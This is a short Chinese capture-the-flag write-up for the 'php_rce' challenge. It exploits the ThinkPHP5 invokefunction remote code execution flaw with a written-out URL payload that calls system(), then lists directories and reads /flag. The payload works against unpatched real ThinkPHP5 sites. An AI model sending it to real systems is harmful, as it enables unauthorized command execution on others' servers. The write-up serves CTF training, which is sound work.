攻防世界系列:php_rce

 

1.打开题目

看到这个还是很懵的,点开任意连接都是真实的场景。

攻防世界(四)php_rce

 

 2.ThinkPHP5,这里我们需要知道它存在

远程代码执行的漏洞。

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=xxxxx(命令)

ls查看

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

攻防世界(四)php_rce

 

 

上一级 ls ../

攻防世界(四)php_rce

 

根目录下 ls /

攻防世界(四)php_rce

 

 发现 flag打开flag   cat /flag

攻防世界(四)php_rce

 

相关文章:

  • 2021-07-09
  • 2022-12-23
  • 2021-09-11
  • 2021-10-12
  • 2022-03-04
  • 2021-12-18
  • 2021-04-25
  • 2022-01-09
猜你喜欢
  • 2021-05-16
  • 2021-11-28
  • 2021-09-12
  • 2021-07-01
  • 2022-12-23
  • 2021-07-24
相关资源
相似解决方案